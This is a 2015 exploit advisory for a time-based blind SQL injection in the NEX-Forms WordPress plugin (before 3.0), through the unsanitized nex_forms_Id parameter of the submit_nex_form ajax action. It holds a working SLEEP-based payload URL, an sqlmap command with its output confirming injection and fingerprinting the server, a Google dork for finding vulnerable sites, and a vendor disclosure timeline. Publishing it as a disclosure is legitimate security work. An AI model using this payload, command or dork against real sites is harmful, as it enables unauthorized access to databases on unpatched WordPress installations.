WordPress Plugin NEX-Forms < 3.0 - SQL Injection
###################### # Exploit Title : NEX-Forms 3.0 SQL Injection Vulnerability # Exploit Author : Claudio Viviani # Website Author: http://www.homelab.it http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive) # Vendor Homepage : https://wordpress.org/plugins/nex-forms-express-wp-form-builder/ # Software Link : https://downloads.wordpress.org/plugin/nex-forms-express-wp-form-builder.3.0.zip # Dork Google: inurl:nex-forms-express-wp-form-builder # index of nex-forms-express-wp-form-builder # Date : 2015-03-29 # Tested on : Windows 7 / Mozilla Firefox # Linux / Mozilla Firefox ###################### # Info: The "submit_nex_form" ajax function is affected from SQL Injection vulnerability "nex_forms_Id" var is not sanitized # PoC Exploit: http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE) # Poc Video: http://youtu.be/04G08Cbrx1I # PoC sqlmap: sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10" -p nex_forms_Id --dbms mysql [23:15:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [23:15:48] [INFO] GET parameter 'nex_forms_Id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [23:15:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [23:15:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [23:16:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [23:16:07] [INFO] checking if the injection point on GET parameter 'nex_forms_Id' is a false positive GET parameter 'nex_forms_Id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 85 HTTP(s) requests: --- Parameter: nex_forms_Id (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(5)))NdbE) --- [23:16:34] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5.10 web application technology: PHP 5.3.3, Apache 2.2.3 back-end DBMS: MySQL 5.0.12 ###################### # Vulnerability Disclosure Timeline: 2015-03-29: Discovered vulnerability 2015-04-16: Vendor Notification 2015-04-17: Vendor Response/Feedback 2015-04-21: Vendor Send Fix/Patch (same version number) 2015-04-21: Public Disclosure ##################### Discovered By : Claudio Viviani http://www.homelab.it http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive) http://ffhd.homelab.it (Free Fuzzy Hashes Database) info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww ##################### |